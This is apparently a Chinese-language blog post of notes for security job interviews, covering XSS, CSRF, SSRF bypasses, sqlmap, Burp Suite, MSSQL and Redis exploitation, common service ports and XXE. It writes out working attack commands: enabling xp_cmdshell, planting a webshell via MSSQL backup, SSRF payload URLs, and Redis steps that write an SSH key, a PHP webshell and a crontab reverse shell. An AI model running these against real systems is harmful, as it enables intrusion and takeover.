sponsored links

【安全面试】安全面试总结1

这是我在面试中被问到一些问题,主要偏向基础知识,如有错误,还望指正。

  1. 利用HTML5新增标签
<math>标签
<embed>标签
  1. 利用DataUrl协议,引用外域的资源

7. 有哪些XSS环境

  1. XSS输出在HTML中的情况
  2. XSS输出在HTML属性中的情况
  3. XSS输出在script标签中的情况
  4. XSS在input value中的情况
  5. XSS输出在textarea中的情况
  6. XSS通过innerHTML输出的情况
  7. XSS通过eval执行的情况
  8. XSS Flash

8. 防护

  1. 过滤+实体化编码
    常用htmlspecialchars()函数进行编码
  2. 设置httponly

3. 请求伪造漏洞与防护

1. CSRF的防护方案

  1. 添加验证过程
  2. 添加验证码
  3. 验证referer
  4. 利用token

2. SSRF可实现的攻击效果

  1. 对内网web应用特征进行发现
  2. 对服务器所在内网进行各类信息探测
  3. 利用file协议读取本地文件
  4. 针对特定目标进行攻击时隐藏攻击发起地址

3. SSRF常见绕过技巧

  1. 利用@符号
  2. 利用localhost
  3. 利用短地址
  4. 利用特殊域名
如 10.0.0.1.Xip.io = 10.0.0.1
  1. 利用DNS解析
  2. 利用Enclosed alphanumerics
  3. 利用。
  4. 利用进制转换
127.0.0.1 = 2130706433D = 7F000001
  1. 其他协议
  • dict://
dict://<user-auth>@<host>:<port>/d:<word>
  • SFTP://
ssrf.php?url=sftp://example.com:11111/
  • TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
  • LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
  • Gopher://
  • file://

4. 渗透工具

1. sqlmap

  1. –os-shell解析
    用into outfile函数写一个上传页面,执行条件有三个:
    • 网站必须是root权限
    • 攻击者需要做的网站的绝对路径
    • GPC为off,php主动转义的功能关闭

2. brupsuite

  1. Intruder模块–暴力破解
  • 模块组成
    • Target 用于配置目标服务器进行攻击的详细信息
    • Positions 设置Payloads的插入点以及攻击类型(攻击模式)
    • Payloads 设置payload,配置字典
    • Opetions
  • 攻击模式
    • sniper
      对变量依次进行爆破,多个标记依次进行
    • battering ram
      对变量同时进行破解,多个标记同时进行
    • pitchfork
      每一个变量标记对应一个字典,取每个字典的对应项
    • cluster bomb
      每个变量对应一个字典,并且进行交集破解,尝试各种组合,适用于用户名+密码破解

5. 中间件

1. MSSQL利用

  1. MSSQL差异备份
  • 完整备份一次:
backup database 库名 to disk = 'c:\aa.bak';-- 
  • 创建:
create table [dbo].[dtest] ([cmd] [image]);-- insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--
  • 进行差异备份:
backup database test to disk='c:\aa.bak' WITH DIFFERENTIAL,FORMAT;--
  1. MSSQL-xp_cmdshell利用
  • open:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
  • exec:
exec master..xp_cmdshell 'whoami'
  • close:
EXEC sp_configure 'show advanced options', 0;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
  1. MSSQL job

2. redis综合利用

  1. 未授权写入SSH公钥
    利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接使用对应的私钥登录目标服务器。
  • 在本地生产公私钥文件
$ssh-keygen –t rsa
  • 然后将公钥写入 foo.txt 文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
  • 再连接 Redis 写入文件
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK
  1. 未授权写入WebShell
config set dir /home/wwwroot/default/
config set dbfilename redis.php
set webshell "<?php phpinfo(); ?>”
save
  1. 未授权写入Crontab计划任务
# redis-cli -h 192.168.1.20
192.168.1.20:6379>CONFIG SET dir /var/spool/cron 
OK
192.168.1.20:6379>CONFIG SET dbfilename root   
OK
192.168.1.20:6379>set payload "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.1.160/9999 0>&1\n\n"
OK
192.168.1.20:6379>save 
OK
192.168.1.20:6379>exit

6. 常用端口

端口 服务 说明
21 FTP 主要看是否支持匿名,也可跑弱口令
22 SSH 弱口令爆破
23 Telnet 弱口令爆破
80-90 Web 常见Web漏洞以及一些为管理后台
135 RPC 通过远程调用执行代码
137 NetBIOS 获取目标计算机的相关信息
161 Snmp public弱口令
389 Idap 是否为匿名访问
443 Openssl 心脏出血以及一些Web漏洞测试
445 Smb 跑弱口令,检测是否有ms_08067等溢出
873 Rsync 是否为匿名访问,也可以跑弱口令
1025 Listen port 获取Windows网络的服务器信息与用户信息
1099 Java rmi 远程命令执行漏洞
1433 Mssql 弱口令爆破
1521 Oracle 弱口令爆破
2082/2083 Cpanel主机管理系统登录 弱口令爆破
2222 DA虚拟主机管理系统登录 默认密码zebra
2601/2604 zebra路由器 说明
3128 Squid代理默认端口 如果没设置口令很可能 就直接漫游内网
3306 Mysql 弱口令爆破
3312/3311 Kangle主机管理系统登陆 说明
3389 RDP 弱口令爆破,SHIFT后门,放大镜,输入法漏洞
4440 Rundeck Web
4848 GlassFish Web中间件 弱口令admin/adminadmin
5432 Postgres 弱口令爆破
5560/7778 iSqlPlus
5900/5901/5902 Vnc 弱口令爆破
6379 Redis 一般无验证,直接访问
7001/7002 Weblogic 弱口令爆破
7778 Kloxo主机控制面板登录
8080 Tomcat/Jboss 弱口令爆破,jboss后台可能不验证
8649 Ganglia
8080-8090 常见WEB端口
8888 Amh/LuManager 主机管理系统默认端口 说明
9000 Fcgi fcgi php命令执行漏洞
9200 Elasticsearch 代码执行
9043 Websphere 弱口令爆破
10000 Virtualmin/Webmin 服务器虚拟主机管理系统
11211 Memcache 内存泄露
27017/28017 Mongodb 未授权访问
50060/50030 Hadoop WEB

7. XXE

1. XXE介绍

XXE全称XML外部实体注入(XML External Entity)形成的原因大都是由于允许引用外部实体。

2. XXE危害

  1. 读取任意文件
  2. 执行系统命令
  3. 探测内网端口
  4. 攻击内网网站

3. 调用

  1. 通过&来调用实体值
  2. 外部调用在实体后面加SYSTEM
  3. 如果实体前加了%,那么调用实体时也需要使用%

8. 内网基础

1. 端口转发及代理类

  1. pipe:windows下面的端口转发软件,比较老牌的工具,使用场景有限。
  2. sockscap:老牌的socks代理工具,主要针对windows平台的端口转发和代理转发。
  3. proxifier:跨平台的端口转发和代理工具,适用windows,linux,Macos平台,代理转发利器
  4. Rsscoks:linux平台下的端口转发和代理工具,配合proxychains好用到不行。
  5. Proxychains:linux平台下老牌的socks代理工具,一般的系统都会自带,谁用谁知道。
  6. ssh proxy:通过ssh做端口代理和转发,一般linux系统都自带。
  7. netcat:socat,hping,在很多情况下可以做端口转发和数据代理转发。
  8. metasploit:metasploit的后渗透模块中有不少代理模块和端口转发模块。

2. 正向代理和反向代理

  1. 正向代理
    就是client连上server,然后把server能访问的机器地址和端口(当然也包括server自己)镜像到client的端口上。

  2. 反向代理
    就是client连上server,然后把client能访问的机器地址和端口(也包括client自己)镜像到server的端口上。

  3. 用ssh做socks代理
    ssh -D [本地IP或省略]:[本地端口] [登陆服务器的用户名@服务器IP] -p [服务器ssh服务端口(默认22)]

  4. 区别

  • 位置不同
    正向代理,架设在客户机和目标主机之间;
    反向代理,架设在服务器端;
  • 代理对象不同
    正向代理,代理客户端,服务端不知道实际发起请求的客户端;
    反向代理,代理服务端,客户端不知道实际提供服务的服务端;
Tags: